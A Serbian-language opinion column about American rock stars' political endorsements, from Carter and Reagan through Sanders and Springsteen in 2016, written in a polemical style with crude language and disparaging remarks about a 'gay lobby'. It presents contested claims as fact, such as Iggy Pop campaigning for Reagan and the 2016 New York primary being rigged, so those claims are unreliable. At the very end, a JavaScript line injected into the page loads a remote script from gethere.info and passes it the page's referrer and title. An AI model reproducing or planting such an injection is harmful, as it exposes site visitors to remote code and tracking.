ROKENROL BIBLIJA MAGIČNOG ĆIRE: Električni Edip i akustična Elektra

Znameniti "otac panka" Igi Pop agitovao je na koncertima za Regana poput komandanta jurišnih odreda skinhedsa! Nil Jang, zaštitni znak hipi pokreta, zdušno je hvalio Reganov plan da ukine svaki oblik socijalne pomoći. Ma, bilo je antologijskih ispada, dovoljno da se napiše "paralelna enciklopedija rokenrola"

Budući da demokratija počiva na populizmu, neupitna je definicija politike kao estradne manipulacije u cilju zaglupljivanja i eksploatisanja nikada dovoljno porobljene publike. One iste publike kojoj je dato pravo da sebe smatra "narodom".

Kada sve ove aksiome i postulate pretočite u zakone koji štite "stvarnost" od javnog nereda i nemira, onda postaje jasno da je - naizgled neprirodni - brak između političke elite i rokenrol zvezda bezuslovna ljubav sa nevidljivom kamatom. Da budem srpski precizan: ovo nije brak iz nužde - ovo je brak ukakanih i popišanih.

Kao i svaka epska saga sa elementima drame i tragedije, incesta i pedofilije, porodičnih trilera i javnih tabua, i ova priča je nastala na gotskom američkom Jugu. Ambiciozni propovednik i plantažer Džimi Karter, željan da votergejtske rane premaže kikiriki-puterom, provalio je novi način kako biti premazan a neuflekan. U jeku kampanje, grdeći Niksonovu zaostavštinu u vidu Džeralda Forda, Džimi je najedared ubacio u medijsku vatru "Olman braders bend", najveće ime bluzerskog rokanja, čime je kupio sve posthipijevske liberale, ali i najkonzervativnije južnjake s obzirom na to da su Olmani i dan-danas najpopularnija južnjačka ikona Amerike. To se pokazalo kao takav predizborni bingo da je Džimi Karter glatko pobedio i postao predsednik.

Elem, da je Springstin, tokom završnog predizbornog mitinga u Njujorku izašao na scenu i stao uz čoveka za koga se inače javno opredelio, zgrabio mikrofon i poručio publici da glasaju za Sandersa jer je to jedina šansa da ponovo oživi "američki san" - prvi i poslednji američki socijalista u ovom veku bi pobedio i vrata Bele kuće bila bi mu širom otvorena

E, onda je najveći politički um Amerike, Henri Kisindžer, preuzeo stvar u svoje ruke i do kraja pronikao u suštinu popularne kulture. Geniju Zla nije bilo potrebno mnogo da skonta kako su sve rokenrol veličine fatalno zaglavljene u sopstvenoj zabavi: ne petljati se sa spoljnom realnošću, kao i sa nevinim snovima koje su sanjali u svojim početničkim danima. Ćuteći o nečemu što ne postoji, sve te žive legende "kontrakulture" (kasnije "supkulture"), zapravo su živele između svetova, ne znajući kako da se spuste na zemlju a da se ne pretvore u dim.

I već na sledećim izborima, u Kisindžerovoj režiji, dogodiće se dotad nezamisliv spektakl: kompletna rok aristokratija, baš kao i rok proletarijat, podlegli su atmosferi "buđenja nacije" i slavljenja zapostavljenog "pionirskog individualizma", onog koji je i stvorio sve američke mitove. Osim ponekog neizlečivog demokratskog utopiste, gotovo svi iz muzičkog karavana podržali su Ronalda Regana kao "Rokija američke politike". U izbornoj godini sa nulom na kraju (1980.) znameniti "otac panka" Igi Pop agitovao je na svojim koncertima za Regana poput komandanta jurišnih odreda skinhedsa! Nil Jang, zaštitni znak hipi pokreta i autor najpoznatije protestne pesme u eri vijetnamskog rata ("Ohio"), zdušno je hvalio Reganov plan da ukine svaki oblik socijalne pomoći, smatrajući da je to jedini način da se povrati "dostojanstvo pojedinca", pružajući mu šansu da preuzme svoj život u svoje ruke, te da je za svakog normalnog čoveka "sramota primati milostinju od države". Ma, bilo je antologijskih ispada, dovoljno da se napiše "paralelna enciklopedija rokenrola".

Naravno, četiri godine kasnije, tokom sledeće predizborne kampanje, velika većina naglavačke je promenila svoje stavove, neki su glasno režali protiv "fašističkog predsednika", dok je većina ćutala glumeći teksaškog Gandija iz El-Eja. Ali bilo je kasno za bilo kakav "povratak otpisanih" - do tada je reganizam zaseo na presto da se više nikada ne skloni sa vrha sveta. I od tada, svesni da je nepopravljiva šteta učinjena i uz njihovo glamurozno saučesništvo, oni samosvesni rokenroleri počinju da se ponašaju kao ozbiljni umetnici zaokupljeni biznis-egzistencijalizmom, prepuštajući političku pozornicu "profesionalnim zabavljačima"...

A onda se pojavio Berni Sanders i niko iz rokenrol (polu)sveta nije više imao rezervni položaj niti sklonište od presnog života. Prvi kandidat za predsednika Amerike koji se javno deklarisao kao "socijalista", sasvim nenadano oživevši sve ponižene i odbačene u "obećanoj zemlji", postao je za američki način života veća OPASNOST od svih Elvisa, Dilana i Morisona Džima zajedno!

Nikoga nije bilo briga što je crnački muzički mejnstrim kleknuo pred Hilari (Kanje Vest i Bijonse, Stivi Vonder i Kvinsi Džons), kao i internacionalno raspevani gej lobi (Elton Džon i Morisi), ili što je Trampa podržala kraljica kantrija Loreta Lin, najnarodskija ličnost muzičke industrije. Neljudsko beznađe u kojem je predugo crkavala američka sirotinja učinilo je da zakon akcije i reakcije profunkcioniše čak i u najkontrolisanijem sistemu na planeti. Ne mareći za "selebriti paradu", nezaposleni i beskućnici su se u mitskom transu uzdigli prepoznavši u Berniju svog proroka, te načinili od njega vođu i gotovo izvesnog pobednika.

I onda se desio "Čovek koji je ubio Libertija Valansa", u falsifikovanom rimejku. Naime, ključni trenutak ovogodišnjih predsedničkih izbora, događaj koji je odistinski mogao da promeni, koliko-toliko, sudbinu sveta, odigrao se tokom unutarstranačkog dvoboja Hilari - Berni u državi Njujork. Do tog trenutka od prvobitnog favorita Hilari je već postala kosmički omražena, totalno raskrinkana u svojim lažima, pohlepnosti i licemerju, da ju je čak i "ekipa sa Vol Strita" pustila niz vodu. Ali Hilari nije htela da odustane i krenula je u solo-akciju. Svi znamo da su izbori u Njujorku bili neregularniji od izbora u Gornjem Matejevcu i Donjem Međurovu: izborne kutije bile su otvarane i uništavane, Bernijevi aktivisti sprečavani su da nadgledaju prebrojavanje glasova, a neka izborna mesta uopšte nisu bila ni otvorena. Epilog svega toga znaju svi osim zarobljenih u Alepu.

Ali kako je takvo bezakonje moglo da prođe? Stanovnici u državi Njujork posramljeno su ćutali, uvereni u svoju nemoć. Zašto? Zato jer sa njima u tom odsudnom času nije bio njihov najvoljeniji heroj: njihov jedini "Gazda".

Elem, da je Brus Springstin, tokom završnog predizbornog mitinga u Njujorku, izašao na scenu i stao uz čoveka za koga se inače javno opredelio kao za svog predsedničkog kandidata, te da je, u svom stilu, zgrabio mikrofon i poručio publici da glasaju za Bernija Sandersa jer je to jedina šansa da ponovo oživi "američki san" - prvi i poslednji američki socijalista u ovom veku bi pobedio i vrata Bele kuće bila bi mu širom otvorena.

Ovde se, uz uzdah, uvek setim one scene kada Džeremi Korbin, levičar do koske, proslavlja pobedu nad Blerovom bandom u Laburističkoj partiji - tako što sa jednim od najboljih i najvažnijih britanskih rok muzičara, Bilijem Bregom, uzdignutih ruku zajedno pevaju pesmu "Red Flag" - radničku himnu Engleske. I shvatim da je ovako nešto nemoguće da se desi u postojbini rokenrola jer Amerika nema "radničku himnu", a i jedva još da poneki preživeli hobo pamti reči pesme "This Land Is Your Land". Možda je to imao na umu hronično depresivni Springstin kada se nije pojavio na najvrelijem stejdžu u estradnoj istoriji svoje zemlje? Ili mu je borbeni i čestiti dedica socijalista toliko prirastao za srce da nije želeo da mu pripomogne da završi onako kako je skončao muž Džeki Kenedi?

Eh, što reče Marsel Dišan: Nema odgovora jer nema ni pitanja.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';